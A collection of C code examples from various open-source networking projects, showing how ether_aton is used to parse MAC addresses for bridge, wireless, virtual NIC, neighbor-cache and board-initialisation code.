Example #1
0
int
intbssid(char *ifname, int ifs, int argc, char **argv)
{
	struct ieee80211_bssid bssid;
	struct ether_addr *ea;
	short set;

	if (NO_ARG(argv[0])) {
		set = 0;
		argv++;
		argc--;
	} else
		set = 1;

	argv++;
	argc--;

	if ((set && argc != 1) || (!set && argc > 1)) {
		printf("%% bssid <xx:xx:xx:xx:xx:xx>\n");
		printf("%% no bssid       (auto-select)\n");
		return(0);
	}

	if (set) {
		ea = ether_aton(argv[1]);
		if (ea == NULL) {
			printf("%% Invalid bssid\n");
			return(0);
		}
		memcpy(&bssid.i_bssid, ea->ether_addr_octet,
		    sizeof(bssid.i_bssid));
	} else
		memset(&bssid.i_bssid, 0, sizeof(bssid.i_bssid));

	strlcpy(bssid.i_name, ifname, sizeof(bssid.i_name));
	if (ioctl(ifs, SIOCS80211BSSID, &bssid) == -1) {
		printf("%% inttxpower: SIOCS80211BSSID failed: %s\n",
		    strerror(errno));
	}

	return (0);
}
Example #2
0
static void
setbridge_static(const char *val, const char *mac, int s,
    const struct afswtch *afp)
{
	struct ifbareq req;
	struct ether_addr *ea;

	memset(&req, 0, sizeof(req));
	strlcpy(req.ifba_ifsname, val, sizeof(req.ifba_ifsname));

	ea = ether_aton(mac);
	if (ea == NULL)
		errx(1, "%s: invalid address: %s", val, mac);

	memcpy(req.ifba_dst, ea->octet, sizeof(req.ifba_dst));
	req.ifba_flags = IFBAF_STATIC;

	if (do_cmd(s, BRDGSADDR, &req, sizeof(req), 1) < 0)
		err(1, "BRDGSADDR %s",  val);
}
Example #3
0
static void nameif_parse_selector(ethtable_t *ch, char *selector)
{
	struct ether_addr *lmac;
#if ENABLE_FEATURE_NAMEIF_EXTENDED
	int found_selector = 0;

	while (*selector) {
		char *next;
#endif
		selector = skip_whitespace(selector);
#if ENABLE_FEATURE_NAMEIF_EXTENDED
		if (*selector == '\0')
			break;
		/* Search for the end .... */
		next = skip_non_whitespace(selector);
		if (*next)
			*next++ = '\0';
		/* Check for selectors, mac= is assumed */
		if (strncmp(selector, "bus=", 4) == 0) {
			ch->bus_info = xstrdup(selector + 4);
			found_selector++;
		} else if (strncmp(selector, "driver=", 7) == 0) {
			ch->driver = xstrdup(selector + 7);
			found_selector++;
		} else {
#endif
			lmac = ether_aton(selector + (strncmp(selector, "mac=", 4) == 0 ? 4 : 0));
			/* Check ascii selector, convert and copy to *mac */
			if (lmac == NULL)
				bb_error_msg_and_die("cannot parse %s", selector);
			ch->mac = xmalloc(ETH_ALEN);
			memcpy(ch->mac, lmac, ETH_ALEN);
#if  ENABLE_FEATURE_NAMEIF_EXTENDED
			found_selector++;
		};
		selector = next;
	}
	if (found_selector == 0)
		bb_error_msg_and_die("no selectors found for %s", ch->ifname);
#endif
}
Example #4
0
static int
_nss_nisplus_parse_etherent (nis_result *result, struct etherent *ether,
			     char *buffer, size_t buflen, int *errnop)
{
  char *p = buffer;
  size_t room_left = buflen;

  if (result == NULL)
    return 0;

  if ((result->status != NIS_SUCCESS && result->status != NIS_S_SUCCESS)
      || NIS_RES_NUMOBJ (result) != 1
      || __type_of (NIS_RES_OBJECT (result)) != NIS_ENTRY_OBJ
      || strcmp (NIS_RES_OBJECT (result)->EN_data.en_type,
		 "ethers_tbl") != 0
      || NIS_RES_OBJECT (result)->EN_data.en_cols.en_cols_len < 2)
    return 0;

  /* Generate the ether entry format and use the normal parser */
  if (NISENTRYLEN (0, 0, result) + 1 > room_left)
    {
      *errnop = ERANGE;
      return -1;
    }
  char *cp = __stpncpy (p, NISENTRYVAL (0, 0, result),
			NISENTRYLEN (0, 0, result));
  *cp = '\0';
  room_left -= NISENTRYLEN (0, 0, result) + 1;
  ether->e_name = p;

  struct ether_addr *ea = ether_aton (NISENTRYVAL (0, 1, result));
  if (ea == NULL)
    {
      *errnop = EINVAL;
      return -2;
    }

  ether->e_addr = *ea;

  return 1;
}
Example #5
0
File: cfutil.c Project: aosm/bootp
PRIVATE_EXTERN Boolean
my_CFStringArrayToEtherArray(CFArrayRef array, char * buffer, int * buffer_size,
			     int * ret_count)
{
    CFIndex		count = CFArrayGetCount(array);
    int 		i;
    struct ether_addr * list = NULL;
    int			space;

    space = roundup((int)count * sizeof(*list), sizeof(char *));
    if (buffer != NULL) {
	if (*buffer_size < space) {
	    /* not enough space for all elements */
	    return (FALSE);
	}
	list = (struct ether_addr *)buffer;
    }
    for (i = 0; i < count; i++) {
	struct ether_addr * 	eaddr;
	CFStringRef		str = CFArrayGetValueAtIndex(array, i);
	char			val[64];

	if (isA_CFString(str) == NULL) {
	    return (FALSE);
	}
	if (CFStringGetCString(str, val, sizeof(val), kCFStringEncodingASCII)
	    == FALSE) {
	    return (FALSE);
	}
	eaddr = ether_aton((char *)val);
	if (eaddr == NULL) {
	    return (FALSE);
	}
	if (list != NULL) {
	    list[i] = *eaddr;
	}
    }
    *buffer_size = space;
    *ret_count = (int)count;
    return (TRUE);
}
Example #6
0
int
bridge_deladdr(int s, char *brdg, char *addr)
{
	struct ifbareq ifba;
	struct ether_addr *ea;

	strlcpy(ifba.ifba_name, brdg, sizeof(ifba.ifba_name));
	ea = ether_aton(addr);
	if (ea == NULL) {
		printf("%% Invalid address: %s\n", addr);
		return (EX_USAGE);
	}
	bcopy(ea, &ifba.ifba_dst, sizeof(struct ether_addr));

	if (ioctl(s, SIOCBRDGDADDR, &ifba) < 0) {
		printf("%% unable to delete %s from %s\n", addr, brdg);
		return (EX_IOERR);
	}

	return (0);
}
Example #7
0
static int
pci_vtnet_parsemac(char *mac_str, uint8_t *mac_addr)
{
        struct ether_addr *ea;
        char *tmpstr;
        char zero_addr[ETHER_ADDR_LEN] = { 0, 0, 0, 0, 0, 0 };

        tmpstr = strsep(&mac_str,"=");
       
        if ((mac_str != NULL) && (!strcmp(tmpstr,"mac"))) {
                ea = ether_aton(mac_str);

                if (ea == NULL || ETHER_IS_MULTICAST(ea->octet) ||
                    memcmp(ea->octet, zero_addr, ETHER_ADDR_LEN) == 0) {
			fprintf(stderr, "Invalid MAC %s\n", mac_str);
                        return (EINVAL);
                } else
                        memcpy(mac_addr, ea->octet, ETHER_ADDR_LEN);
        }

        return (0);
}
Example #8
0
static int
setifbssid(prop_dictionary_t env, prop_dictionary_t oenv)
{
	char buf[24];
	struct ieee80211_bssid bssid;
	struct ether_addr *ea;

	if (getargstr(env, "bssid", buf, sizeof(buf)) == -1)
		errx(EXIT_FAILURE, "%s: BSSID too long", __func__);

	ea = ether_aton(buf);
	if (ea == NULL) {
		errx(EXIT_FAILURE, "malformed BSSID: %s", buf);
		return -1;
	}
	memcpy(&bssid.i_bssid, ea->ether_addr_octet,
	    sizeof(bssid.i_bssid));

	if (direct_ioctl(env, SIOCS80211BSSID, &bssid) == -1)
		err(EXIT_FAILURE, "SIOCS80211BSSID");
	return 0;
}
Example #9
0
/*
 * ethers
 */
static int
ethers(int argc, char *argv[])
{
	char		hostname[MAXHOSTNAMELEN + 1], *hp;
	struct ether_addr ea, *eap;
	int		i, rv;

	assert(argc > 1);
	assert(argv != NULL);

#define ETHERSPRINT	printf("%-17s  %s\n", ether_ntoa(eap), hp)

	rv = RV_OK;
	if (argc == 2) {
		fprintf(stderr, "Enumeration not supported on ethers\n");
		rv = RV_NOENUM;
	} else {
		for (i = 2; i < argc; i++) {
			if ((eap = ether_aton(argv[i])) == NULL) {
				eap = &ea;
				hp = argv[i];
				if (ether_hostton(hp, eap) != 0) {
					rv = RV_NOTFOUND;
					break;
				}
			} else {
				hp = hostname;
				if (ether_ntohost(hp, eap) != 0) {
					rv = RV_NOTFOUND;
					break;
				}
			}
			ETHERSPRINT;
		}
	}
	return rv;
}
Example #10
0
static int get_dest_addr(const char *hostid, struct ether_addr *eaddr)
{
	struct ether_addr *eap;

	eap = ether_aton(hostid);
	if (eap) {
		*eaddr = *eap;
		if (debug)
			fprintf(stderr, "The target station address is %s.\n",
					ether_ntoa(eaddr));
	} else if (ether_hostton(hostid, eaddr) == 0) {
		if (debug)
			fprintf(stderr, "Station address for hostname %s is %s.\n",
					hostid, ether_ntoa(eaddr));
	} else {
		(void)fprintf(stderr,
					  "ether-wake: The Magic Packet host address must be "
					  "specified as\n"
					  "  - a station address, 00:11:22:33:44:55, or\n"
					  "  - a hostname with a known 'ethers' entry.\n");
		return -1;
	}
	return 0;
}
Example #11
0
void *send_pkt(void *threadid)
	{
		long tid;
  		tid = (long) threadid;
		printf("Thread %ld in send\n",tid);
		char *interface="eth4",*dst_mac,*src_mac,*data="HELLO";
	
		// uint8_t *ether_frame;
		char ether_frame[PACKET_SIZE];
		struct sockaddr_ll device;
		struct ethhdr *eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
		struct ether_addr *ea_dest,*ea_src;
		int bytes=0;
		ea_dest=(struct ether_addr *)malloc(sizeof(struct ether_addr)); 
		ea_src=(struct ether_addr *)malloc(sizeof(struct ether_addr));
		src_mac=(char *)malloc(6*sizeof(char));
		dst_mac=(char *)malloc(6*sizeof(char));
		// ether_frame=(uint8_t *)calloc(1,PACKET_SIZE*sizeof(uint8_t));
		// memset(ether_frame,'a',PACKET_SIZE);
		memcpy(ether_frame + HEADER_LEN,map,PACKET_SIZE - HEADER_LEN);
		// ether_frame[PACKET_SIZE]='\0';
		

		// ether_frame = (uint8_t *)malloc(1500 * sizeof(uint8_t));
		// memset (&ether_frame, 0, (1500*sizeof(uint8_t)));
		iph = (struct ipheader *)malloc(sizeof( struct ipheader));

		
		// printf("%d\n", (int)sizeof(struct ipheader));
		
		layer4 = (struct custom_transport *)malloc(sizeof( struct custom_transport));
		
		// printf("%d\n", (int)sizeof(struct custom_transport));
	// **************************************************************************************************
		int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_IP)) ;
		if(sock_raw<0)
			perror("Socket cannot be created \n");
		eth = (struct ethhdr *)ether_frame;
		iph = (struct ipheader *)(ether_frame  + sizeof(struct ethhdr) );
		layer4 = (struct custom_transport *)(ether_frame  + HEADER_LEN - 4 );

		ea_src=ether_aton("a0:36:9f:08:56:c2");
		memcpy(eth->h_source,ea_src->ether_addr_octet,6);
		// eth->h_source=ea_src->ether_addr_octet;
		// eth->h_source=ea_src;
		// router-node1 interface
		// ea_dest=ether_aton("a0:36:9f:0a:5c:da");

		// router-node2 interface
		ea_dest=ether_aton(destination_mac);
		memcpy(eth->h_dest,ea_dest->ether_addr_octet,6);
					
		//eth->h_dest=ea_dest->ether_addr_octet;
		
		// eth->h_proto=0x0800;
		eth->h_proto=htons(ETH_P_IP);
		iph->src_ip=2;
		iph->dest_ip=3;
		iph->session_id=atoi(session);
		// iph->total_len=16;

		layer4->seq=0;
		// layer4->src_p=1;
		// layer4->dest_p=0;
		// layer4->type=1;

		memset (&device, 0, sizeof (device));
		if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
			perror ("if_nametoindex() failed to obtain interface index ");
			exit (EXIT_FAILURE);
		}
		// printf ("Index for interface %s is %i\n", interface, device.sll_ifindex);

	  // Send ethernet frame to socket.
		int i=0;
		gettimeofday(&t1,0);
		start=((t1.tv_sec)*1000000+t1.tv_usec);
		while(i<PACKET_NUM)
		{
			printf("SEQ : %d\n",layer4->seq);
			// printf("PACKET: %s\n",ether_frame+ HEADER_LEN );
			if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) 
			{
				perror ("sendto() failed");
				exit (EXIT_FAILURE);
			}
			// sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device));
			i++;
			layer4->seq++;

			if (layer4->seq==PACKET_NUM)
		    {
		    	// printf("LAST PACKET*******************************%d***************************************\n",layer4->seq);
		    	int final_pkt = ( FILE_SIZE - (layer4->seq*(PACKET_SIZE - HEADER_LEN)));
		    	// memcpy(map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)),&buffer[HEADER_LEN],final_pkt);
		    	memcpy(ether_frame + HEADER_LEN,map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)) ,final_pkt);
		    	if ((bytes = sendto (sock_raw, ether_frame, PACKET_SIZE, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) 
					{
						perror ("sendto() failed");
						exit (EXIT_FAILURE);
					}
		    }
		    else
		    {
		    	// memcpy(map+(layer4->seq*(PACKET_SIZE - HEADER_LEN)),&buffer[HEADER_LEN],PACKET_SIZE - HEADER_LEN);
		    	memcpy(ether_frame + HEADER_LEN,map+i*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN);
		    }

			// memcpy(ether_frame + HEADER_LEN,map+i*(PACKET_SIZE - HEADER_LEN) ,PACKET_SIZE - HEADER_LEN);

		}
		// gettimeofday(&t2,0);
		// end=((t2.tv_sec)*1000000+t2.tv_usec);
		// total=(float)((end-start));
		// printf("time to send : %f us  \n",total);
		printf("start time : %ld\n", start);
		// printf("TIme to end : %ld\n", end);

		// printf("Packet has been sent \n");
		close(sock_raw);
		pthread_exit(NULL);

	}
Example #12
0
void parse_cache(char *filename)
{
	xmlDoc *doc = NULL;
	xmlNode *root_element = NULL;
	xmlNode *neighbor = NULL;
	char *c;

	LIBXML_TEST_VERSION;

	/*parse the file and get the DOM */
	doc = xmlReadFile(cache_path, NULL, 0);	

	/*Get the root element node */
	root_element = xmlDocGetRootElement(doc);
	neighbor = root_element->children;

	while(neighbor != NULL)
	{
		if( !STRCMP(neighbor->name,"neighbor") )
		{
			struct in6_addr lla;
			struct ether_addr mac, eth;
			xmlNode *param = neighbor->children;
			uint16_t vlan_id = 4095;

			while(param != NULL)
			{
				if (param->type == XML_ELEMENT_NODE)
				{
					if( !STRCMP(param->name,"mac") )
					{
						c=(char *)XML_GET_CONTENT(param->children);
						memcpy(&mac,ether_aton(c),sizeof(struct ether_addr));
/*						memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr));	*/
						add_neighbor(&neighbors, vlan_id, mac);
					}
					else if( !STRCMP(param->name,"vlan_id") ) {
						char *text = (char*)XML_GET_CONTENT(param->children);
						vlan_id = atoi(text!=NULL?text:"4095");
					}
					else if( !STRCMP(param->name,"time") )
					{
						c=(char *)XML_GET_CONTENT(param->children);
						set_neighbor_timer(&neighbors, vlan_id, mac,atoi(c));
/*						set_neighbor_timer(&neighbors, mac,atoi((char *)XML_GET_CONTENT(param->children)));		*/
					}
					else if( !STRCMP(param->name,"lla") )
					{
						if(param->children != NULL)
						{
							inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla);
							set_neighbor_lla(&neighbors, vlan_id, mac, lla);
						}
					}
					else if( !STRCMP(param->name,"addresses") )
					{
						xmlNode *address = param->children;
						while(address != NULL)
						{
							if (address->type == XML_ELEMENT_NODE)
							{
								if( !STRCMP(address->name,"address") )
								{
									struct in6_addr addr;
									struct _xmlAttr *attr = address->properties;
									inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &addr);
									add_neighbor_ip(&neighbors, vlan_id, mac, addr);

									while(attr != NULL)
									{
										if (attr->type == XML_ATTRIBUTE_NODE)
										{
											if( !STRCMP(attr->name,"lastseen") )
											{
												set_neighbor_address_timer(&neighbors, vlan_id, mac, addr, (time_t) atoi((const char *)(attr->children->content)));
											}
											else if ( !STRCMP(attr->name,"firstseen") )
											{
												set_neighbor_first_address_timer(&neighbors, vlan_id, mac, addr, (time_t) atoi((const char *)(attr->children->content)));
											}
										}
										attr = attr->next;
									}

								}
							}
							address = address->next;
						}
					}
					else if( !STRCMP(param->name,"old_mac") )
					{
						xmlNode *old = param->children;
						while(old != NULL)
						{
							if (old->type == XML_ELEMENT_NODE)
							{
								if( !STRCMP(old->name,"mac") )
								{
									struct _xmlAttr *attr = old->properties;
									
									memcpy(&eth,ether_aton((char *)XML_GET_CONTENT(old->children)),sizeof(struct ether_addr));
									add_neighbor_old_mac(&neighbors, vlan_id, lla, eth);
									
									while(attr != NULL)
									{
										if (attr->type == XML_ATTRIBUTE_NODE)
										{
											if( !STRCMP(attr->name,"last") )
											{
												neighbor_set_last_mac(&neighbors, vlan_id, lla, eth);
											}
										}
										attr = attr->next;
									}

								}
							}
							old = old->next;
						}
					}
								
				}
				param = param->next;
			}
		}
		neighbor = neighbor->next;
	}

	xmlFreeDoc(doc);
	return;
}
Example #13
0
void parse_routers()
{
        xmlDoc *doc = NULL;
        xmlNode *root_element = NULL;
        xmlNode *current = NULL;
        char* c;

	/*parse the file and get the DOM */
        doc = xmlReadFile(config_path, NULL, 0);	

	/*Get the root element node */
        root_element = xmlDocGetRootElement(doc);
        current = root_element->children;

	request ="/config_ndpmon/actions_low_pri/sendmail/text()";
	xmlobject = xmlXPathEval ((xmlChar*)request, xpctxt);
	if ((xmlobject->nodesetval!=NULL) || (strcmp("1", (char*)xmlobject->nodesetval->nodeTab[0]->content)!=0)) action_low_pri.sendmail=0;
	else action_low_pri.sendmail=1; 
	xmlXPathFreeObject (xmlobject);


	while(current != NULL)
	{
		if (current->type == XML_ELEMENT_NODE)
		{
			if( !STRCMP(current->name,"routers") )
			{
				xmlNode *router = current->children;
				while(router != NULL)
				{
					if (router->type == XML_ELEMENT_NODE)
					{
						if( !STRCMP(router->name,"router") )
						{
							struct ether_addr mac;
							struct in6_addr lla;
							uint8_t  param_curhoplimit=0;
							uint8_t  param_flags_reserved=0;
							uint16_t param_router_lifetime=0;
							uint32_t param_reachable_timer=0;
							uint32_t param_retrans_timer=0;
							xmlNode *param = router->children;
							while(param != NULL)
							{
								if (param->type == XML_ELEMENT_NODE)
								{
									if( !STRCMP(param->name,"mac") )
									{
										memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr));
									}
									else if( !STRCMP(param->name,"lla") )
									{
										inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla);
									}
									else if( !STRCMP(param->name,"param_curhoplimit") )
									{
										char* text = (char*)XML_GET_CONTENT(param->children);
										param_curhoplimit = atoi(text!=NULL?text:"0");
									}
									else if( !STRCMP(param->name,"param_flags_reserved") )
									{
										char* text = (char*)XML_GET_CONTENT(param->children);
										param_flags_reserved = atoi(text!=NULL?text:"0");
									}
									else if( !STRCMP(param->name,"param_router_lifetime") )
									{
										char* text = (char*)XML_GET_CONTENT(param->children);
										param_router_lifetime = atoi(text!=NULL?text:"0");
									}
									else if( !STRCMP(param->name,"param_reachable_timer") )
									{
										char* text = (char*)XML_GET_CONTENT(param->children);
										param_reachable_timer = atoi(text!=NULL?text:"0");
									}
									else if( !STRCMP(param->name,"param_retrans_timer") )
									{
										char* text = (char*)XML_GET_CONTENT(param->children);
										param_retrans_timer = atoi(text!=NULL?text:"0");
										add_router(&routers, &mac, &lla, param_curhoplimit, param_flags_reserved, param_router_lifetime, param_reachable_timer, param_retrans_timer);
									}
									else if( !STRCMP(param->name,"addresses") )
									{
										xmlNode *address = param->children;
										while(address != NULL)
										{
											if (address->type == XML_ELEMENT_NODE)
											{
												if( !STRCMP(address->name,"address") )
												{
													struct in6_addr addr;
													inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &addr);
													add_router_address(&routers, mac, addr);
												}
											}
											address = address->next;
										}
									}
									else if( !STRCMP(param->name,"prefixes") )
									{
										xmlNode *prefix = param->children;
										while(prefix != NULL)
										{
											if (prefix->type == XML_ELEMENT_NODE)
											{
												if( !STRCMP(prefix->name,"prefix") )
												{
													struct in6_addr addr;
													int mask=0;
													char buffer[INET6_ADDRSTRLEN];
													struct _xmlAttr *attr = prefix->properties;

													while(attr != NULL)
													{
														if (attr->type == XML_ATTRIBUTE_NODE)
														{
															if( !STRCMP(attr->name,"mask") )
															{
																c=(char *)XML_GET_CONTENT(attr->children);
																mask = atoi(c);
/*																mask = atoi((char *)XML_GET_CONTENT(attr->children));  */
															}
														}
														attr = attr->next;
													}

													c=(char *)XML_GET_CONTENT(prefix->children);
													strncpy(buffer,c, INET6_ADDRSTRLEN);
/*													strcpy(buffer,(char *)XML_GET_CONTENT(prefix->children));	*/
													inet_pton(AF_INET6,buffer, &addr);

													add_prefix(&routers, lla, mac, addr,mask);
												}
											}
											prefix = prefix->next;
										}
									}
								}
								param = param->next;
							}
						}
					}
					router = router->next;
				}
			}
		}
		current = current->next;
	}

	xmlFreeDoc(doc);
	return;
}
Example #14
0
/*
 * Routers
 * */
void parse_routers()
{
	xmlXPathObjectPtr xmlobject;
	xmlNode *router;
        char *text, *request="/config_ndpmon/routers";

	xmlobject = xmlXPathEval ((xmlChar*)request, xpctxt);
	if (xmlobject->nodesetval==NULL) {
		xmlXPathFreeObject (xmlobject);
		return;
        }
	router = xmlobject->nodesetval->nodeTab[0]->children;

	while(router != NULL) {
		if (router->type == XML_ELEMENT_NODE && STRCMP(router->name,"router")==0) {
			struct ether_addr mac;
			struct in6_addr lla;
			uint8_t  param_curhoplimit=0;
			uint8_t  param_flags_reserved=0;
			uint16_t param_router_lifetime=0;
			uint32_t param_reachable_timer=0;
			uint32_t param_retrans_timer=0;
			uint32_t param_mtu=0;
			int params_volatile=1;
			prefix_t* tmp_prefix = NULL;
			address_t* tmp_address = NULL;
			xmlNode *param = router->children;
			int vlan_id = 4095;
			while(param != NULL) {
				if (param->type != XML_ELEMENT_NODE) {
					param = param->next;
					continue;
				}
                                /* We have an XML Element: */
				if( !STRCMP(param->name,"mac") ) {
					memcpy(&mac,ether_aton((char *)XML_GET_CONTENT(param->children)),sizeof(struct ether_addr));
				}
				else if( !STRCMP(param->name,"vlan_id") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					vlan_id = atoi(text!=NULL?text:"4095");
				}
				else if( !STRCMP(param->name,"lla") ) {
					inet_pton(AF_INET6,(char *)XML_GET_CONTENT(param->children), &lla);
				}
				else if( !STRCMP(param->name,"param_curhoplimit") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_curhoplimit = atoi(text!=NULL?text:"0");
					}
				else if( !STRCMP(param->name,"param_flags_reserved") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_flags_reserved = atoi(text!=NULL?text:"0");
					}
				else if( !STRCMP(param->name,"param_router_lifetime") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_router_lifetime = atoi(text!=NULL?text:"0");
				}
				else if( !STRCMP(param->name,"param_reachable_timer") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_reachable_timer = strtoul(text!=NULL?text:"0", NULL, 10);
				}
				else if( !STRCMP(param->name,"param_retrans_timer") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_retrans_timer = strtoul(text!=NULL?text:"0", NULL, 10);
				}
				else if( !STRCMP(param->name,"param_mtu") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					param_mtu = strtoul(text!=NULL?text:"0", NULL, 10);
				}
				else if( !STRCMP(param->name,"params_volatile") ) {
					text = (char*)XML_GET_CONTENT(param->children);
					params_volatile = atoi(text!=NULL?text:"1");
				}
				else if( !STRCMP(param->name,"addresses") ) {
					xmlNode *address = param->children;
					while(address != NULL) {
						if (address->type == XML_ELEMENT_NODE &&  STRCMP(address->name,"address")==0 ) {
							/* Read address: */
							address_t* new_address = malloc(sizeof(address_t));
							if (new_address==NULL) {
								fprintf(stderr, "malloc failed.");
							}
							inet_pton(AF_INET6,(char *)XML_GET_CONTENT(address->children), &new_address->address);
							/* Add address to tmp address list: */
							new_address->next = tmp_address;
							tmp_address = new_address;
						}
						/* Fetch next address node: */
						address = address->next;
					}
				} /* end addresses */
				else if( !STRCMP(param->name,"prefixes") ) {
					xmlNode *prefix = param->children;
					while(prefix != NULL) {
						if (prefix->type == XML_ELEMENT_NODE && STRCMP(prefix->name,"prefix")==0) {
							/* Read prefix params: */
							xmlNode *prefix_param = prefix->children;
							prefix_t* new_prefix = malloc(sizeof(prefix_t));
							char buffer[INET6_ADDRSTRLEN];
							if (new_prefix==NULL) {
								fprintf(stderr, "malloc failed.");
							}
							memset(&new_prefix->prefix, 0, sizeof(struct in6_addr));
							new_prefix->mask = 0;
							new_prefix->param_valid_time = 0;
							new_prefix->param_preferred_time = 0;
							while(prefix_param != NULL) {
								if (prefix_param->type != XML_ELEMENT_NODE) {
									prefix_param = prefix_param->next;
									continue;
								}
				                                /* We have an XML Element: */
								if (STRCMP(prefix_param->name,"address")==0) {
									text=(char *)XML_GET_CONTENT(prefix_param->children);
									strncpy(buffer,text, INET6_ADDRSTRLEN);
									inet_pton(AF_INET6,buffer, &new_prefix->prefix);
								}
								else if (STRCMP(prefix_param->name,"mask")==0) {
									text=(char *)XML_GET_CONTENT(prefix_param->children);
									new_prefix->mask = atoi(text!=NULL?text:0);
								}
								else if (STRCMP(prefix_param->name,"param_flags_reserved")==0) {
									text=(char *)XML_GET_CONTENT(prefix_param->children);
									new_prefix->param_flags_reserved = atoi(text!=NULL?text:0);
								}
								else if (STRCMP(prefix_param->name,"param_valid_time")==0) {
									text=(char *)XML_GET_CONTENT(prefix_param->children);
									new_prefix->param_valid_time = strtoul(text!=NULL?text:"0", NULL, 10);
								}
								else if (STRCMP(prefix_param->name,"param_preferred_time")==0) {
									text=(char *)XML_GET_CONTENT(prefix_param->children);
									new_prefix->param_preferred_time = strtoul(text!=NULL?text:"0", NULL, 10);
								}
								prefix_param = prefix_param->next;
							}
							/* Add prefix to tmp list:*/
							new_prefix->next = tmp_prefix;
							tmp_prefix = new_prefix;
						}
						/* Fetch next prefix node: */
						prefix = prefix->next;
					}
				} /* end prefixes */
				/* Fetch next router param: */
				param = param->next;
			} /* end router params */
			/* Add router to the router list: */
			router_add(
				&routers, vlan_id, &mac, &lla,
				param_curhoplimit,
				param_flags_reserved,
				param_router_lifetime,
				param_reachable_timer,
				param_retrans_timer,
				param_mtu,
				params_volatile
			);
			while (tmp_prefix!=NULL) {
				prefix_t* current=tmp_prefix;
				router_add_prefix(
					routers, vlan_id, lla, mac,
					current->prefix,
					current->mask,
					current->param_flags_reserved,
					current->param_valid_time,
					current->param_preferred_time
				);
				tmp_prefix = current->next;
				free(current);
			}
			while (tmp_address!=NULL) {
				address_t* current=tmp_address;
				router_add_address(routers, vlan_id, mac, current->address);
				tmp_address = current->next;
				free(current);
			}
		} /* end is XML element and router */
		/* Fetch next router node: */
		router = router->next;
	}
	xmlXPathFreeObject (xmlobject);
}
Example #15
0
int early_board_init(void)
{
	uint8_t ee_buf[OCTEON_EEPROM_MAX_TUPLE_LENGTH];
	char *env_str;
	int cpu_ref = 50;
	int addr;

	/* NOTE: this is early in the init process, so the serial port is not
	 * yet configured
	 */

	/* Determine board type/rev */
	strncpy((char *)(gd->arch.board_desc.serial_str), "unknown", SERIAL_LEN);
	addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR,
					 EEPROM_BOARD_DESC_TYPE, 0, ee_buf,
					 OCTEON_EEPROM_MAX_TUPLE_LENGTH);
	if (addr >= 0) {
		memcpy((void *)&(gd->arch.board_desc), ee_buf,
		       sizeof(octeon_eeprom_board_desc_t));
	} else {
		gd->flags |= GD_FLG_BOARD_DESC_MISSING;
		gd->arch.board_desc.board_type = CVMX_BOARD_TYPE_BBGW_REF;
		gd->arch.board_desc.rev_major = 1;
		gd->arch.board_desc.rev_minor = 0;
	}

	/* Populate global data from eeprom */
	addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR,
					 EEPROM_CLOCK_DESC_TYPE, 0, ee_buf,
					 OCTEON_EEPROM_MAX_TUPLE_LENGTH);
	if (addr >= 0) {
		memcpy((void *)&(gd->arch.clock_desc), ee_buf,
		       sizeof(octeon_eeprom_clock_desc_t));
	}


	cpu_ref = CN5020_FORCED_DDR_AND_CPU_REF_HZ / 1000000;
	gd->mem_clk = 266;
	gd->arch.ddr_ref_hertz = CN5020_FORCED_DDR_AND_CPU_REF_HZ;

	addr = octeon_tlv_get_tuple_addr(CONFIG_SYS_DEF_EEPROM_ADDR,
					 EEPROM_MAC_ADDR_TYPE,
					 0, ee_buf,
					 OCTEON_EEPROM_MAX_TUPLE_LENGTH);
	if (addr >= 0) {
		memcpy((void *)&(gd->arch.mac_desc), ee_buf,
		       sizeof(octeon_eeprom_mac_addr_t));
	} else {
		/* Make up some MAC addresses */
		gd->arch.mac_desc.count = 255;
		gd->arch.mac_desc.mac_addr_base[0] = 0x00;
		gd->arch.mac_desc.mac_addr_base[1] = 0xDE;
		gd->arch.mac_desc.mac_addr_base[2] = 0xAD;
		gd->arch.mac_desc.mac_addr_base[3] =
		    (gd->arch.board_desc.rev_major << 4) | gd->arch.
		    board_desc.rev_minor;
		gd->arch.mac_desc.mac_addr_base[4] =
		    gd->arch.board_desc.serial_str[0];
		gd->arch.mac_desc.mac_addr_base[5] = 0x00;

		/* Read MAC address base/count from env */
		if (!(env_str = getenv("octeon_mac_base")) ||
		    !ether_aton(env_str,
				(uint8_t *) (gd->arch.mac_desc.mac_addr_base))) {
			/* Special value allows silent overrides */
			gd->arch.mac_desc.mac_addr_base[0] = 0x00;
			gd->arch.mac_desc.mac_addr_base[1] = 0xba;
			gd->arch.mac_desc.mac_addr_base[2] = 0xdd;
		}
	}

	/* Read CPU clock multiplier */
	uint64_t data = cvmx_read_csr(CVMX_DBG_DATA);
	data = data >> 18;
	data &= 0x1f;

	gd->cpu_clk = data * cpu_ref * 1000000;

	gpio_direction_output(4, 0);	/* GPIO 4 resets the switch */
	gpio_direction_output(2, 0);	/* GPIO 2 resets the SLIC */
	mdelay(1);
	gpio_set_value(4, 1);
	gpio_set_value(2, 0);

	return 0;

}
static int
parse(int c, char **argv, int invert, unsigned int *flags,
      const struct arpt_entry *e,
      struct arpt_entry_target **t)
{
	struct arpt_mangle *mangle = (struct arpt_mangle *)(*t)->data;
	struct in_addr *ipaddr;
